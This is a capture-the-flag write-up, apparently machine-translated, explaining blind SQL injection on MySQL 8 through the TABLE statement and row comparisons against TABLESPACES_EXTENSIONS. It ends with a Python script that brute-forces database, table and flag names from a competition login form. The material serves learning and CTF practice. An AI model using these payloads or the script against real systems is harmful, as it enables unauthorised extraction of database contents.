Pwnhub2021 July match NewSql (mysql8 injection)
preface
Although I knew the SQL injection of mysql8 before, I didn't really understand it. Just last night, I learned that pwnhub had this problem in the recent competition. I'll repeat it by the way and learn the new features of SQL injection of mysql8.
Learning articles
Learn the basic knowledge through this article.
Basic knowledge supplement
Information is used in the article_ schema. Schema and so on to get the database, and then get the data table, but there is actually such a data table information_schema.TABLESPACES_EXTENSIONS:
From mysql8 0.21 began to appear, but the table keyword appears after 8.0.19, so if you want to use it, you should try whether the table has it. If the MySQL version of the topic is between 8.0.19 and 8.0.21, it can't be used.
This table is easy to use. It directly stores the database and data table:
mysql> table information_schema.TABLESPACES_EXTENSIONS; +------------------+------------------+ | TABLESPACE_NAME | ENGINE_ATTRIBUTE | +------------------+------------------+ | mysql | NULL | | innodb_system | NULL | | innodb_temporary | NULL | | innodb_undo_001 | NULL | | innodb_undo_002 | NULL | | sys/sys_config | NULL | | users/users | NULL | +------------------+------------------+ 7 rows in set (0.00 sec)
See the last users/users, because I created a users database with the users data table. So with this, it will be much more convenient.
In addition, I personally encountered four pits when injecting with the new features of mysql8.
First pit:
mysql> table information_schema.TABLESPACES_EXTENSIONS limit 6,1; +-----------------+------------------+ | TABLESPACE_NAME | ENGINE_ATTRIBUTE | +-----------------+------------------+ | users/users | NULL | +-----------------+------------------+ 1 row in set (0.00 sec) mysql> select (('t','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)); +------------------------------------------------------------------------+ | (('t','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)) | +------------------------------------------------------------------------+ | 1 | +------------------------------------------------------------------------+ 1 row in set (0.00 sec) mysql> select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)); +------------------------------------------------------------------------+ | (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)) | +------------------------------------------------------------------------+ | 1 | +------------------------------------------------------------------------+ 1 row in set (0.00 sec) mysql> select (('v','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)); +------------------------------------------------------------------------+ | (('v','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)) | +------------------------------------------------------------------------+ | 0 | +------------------------------------------------------------------------+ 1 row in set (0.00 sec) mysql>
The less than sign is used, and the value in the first column is users/users, so the normal thinking is that if it is t, it will be less than, and the result is 1. But if it is u, it is not less than but equal to, so it should return 0. But in fact, even if less than is used here, the comparison result is less than or equal to. Therefore, the ascii-1 of the comparison result needs to be converted into characters.
Second pit:
mysql> select (('users/userr','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)); +----------------------------------------------------------------------------------+ | (('users/userr','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)) | +----------------------------------------------------------------------------------+ | 1 | +----------------------------------------------------------------------------------+ 1 row in set (0.00 sec) mysql> select (('users/users','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)); +----------------------------------------------------------------------------------+ | (('users/users','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)) | +----------------------------------------------------------------------------------+ | NULL | +----------------------------------------------------------------------------------+ 1 row in set (0.00 sec) mysql>
It can be found that the situation is different from before when the last one burst. The last comparison is less than, not less than or equal to. So we need to pay special attention to the last one.
It should also be noted that if the column has only one character, it is still compared by less than or equal to, not less than.
Third pit
Type problems:
mysql> select (('1','','')<(table users.users limit 0,1)); +---------------------------------------------+ | (('1','','')<(table users.users limit 0,1)) | +---------------------------------------------+ | 1 | +---------------------------------------------+ 1 row in set (0.00 sec) mysql> select (('2','','')<(table users.users limit 0,1)); +---------------------------------------------+ | (('2','','')<(table users.users limit 0,1)) | +---------------------------------------------+ | 0 | +---------------------------------------------+ 1 row in set (0.00 sec) mysql> select (('1!','','')<(table users.users limit 0,1)); +----------------------------------------------+ | (('1!','','')<(table users.users limit 0,1)) | +----------------------------------------------+ | 1 | +----------------------------------------------+ 1 row in set (0.00 sec) mysql>
What's wrong with this reaction? The first column is id, id is int type, and here the first column gives character type. When writing python script blasting, after the first bit is 1, the second bit will be blasted. Normally, there will be no result in the second bit, because the number of bits of the field to be blasted is not as much as you give. However, the problem in this case is that when the id is of type int and the string is compared with type int, because our string starts with a number, it will be converted into int for comparison. Therefore, it is not a string comparison, and there will be problems.
Fourth pit
Case problem. When exploding the fields of the final data table, it is best to add binary. I guess it may be because of this:
lower_ case_ table_ Values for names:
- If set to 0, table names are stored as specified and are case sensitive when comparing table names.
- If set to 1, table names are stored on disk in lowercase and are not case sensitive when comparing table names.
- If set to 2, the table name is stored in the given format, but compared in lowercase.
This option also applies to database names and table aliases. See section 9.2.3 for additional details“ Identifiers are case sensitive".
Since MySQL initially relies on the file system as its data dictionary, the default setting depends on whether the file system is case sensitive.
On Windows, the default value is 1. On macOS, the default value is 2. On Linux, the value 2 is not supported; The server sets the value to 0.
Because most of the problems are on linux, the value of this is 0, so when exploding table names and library names, even if binary is not added, they will be case sensitive, but for real data tables, if binary is not added, they will be case insensitive, so there will be problems.
WP
Back to the subject. I won't analyze the specific problem. Simply try to write a python script to blow up the process.
python script:
import requests url="http://47.99.38.177:10084" flag="" for i in range(100): for j in "/0123456789:;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_.{|}~": #payload="1'^((binary'{}','')<(table/**/information_schema.TABLESPACES_EXTENSIONS/**/limit/**/6,1))#".format(flag+chr(j)) #payload="1'^((binary'{}','')<(table/**/information_schema.TABLESPACES_EXTENSIONS/**/limit/**/7,1))#".format(flag+chr(j)) payload="1'^(('1',binary'{}')<(table/**/f1aggghere))#".format(flag+j) #payload="1'^((binary'ctf/users','')<(table/**/information_schema.TABLESPACES_EXTENSIONS/**/limit/**/6,1))#" data={ 'username':payload, 'password':1 } r=requests.post(url=url,data=data) #print(len(r.text)) if len(r.text) == 1742: flag += chr(ord(j)-1) print(flag) break if j == "~": flag = flag[:len(flag)-1]+chr(ord(flag[-1])+1) print(flag) exit() "The last bit does not need to be offset" "ctf/users" "ctf/f1aggghere"
First, expose the database and table:
payload="1'^((binary'{}','')<(table/**/information_schema.TABLESPACES_EXTENSIONS/**/limit/**/6,1))#".format(flag+chr(j)) payload="1'^((binary'{}','')<(table/**/information_schema.TABLESPACES_EXTENSIONS/**/limit/**/7,1))#".format(flag+chr(j))
Through these two, we can get
"ctf/users" "ctf/f1aggghere"
Then test the number of columns in the flag table and find that there are 2 columns. The first column encountered a type problem.
Then pop the flag:
payload="1'^(('1',binary'{}')<(table/**/f1aggghere))#".format(flag+j)
Plus binary, case sensitive.
Final judgment:
if j == "~": flag = flag[:len(flag)-1]+chr(ord(flag[-1])+1) print(flag) exit()
In fact, it is the pit point 2 mentioned above, which is used to correct the last ascii-1.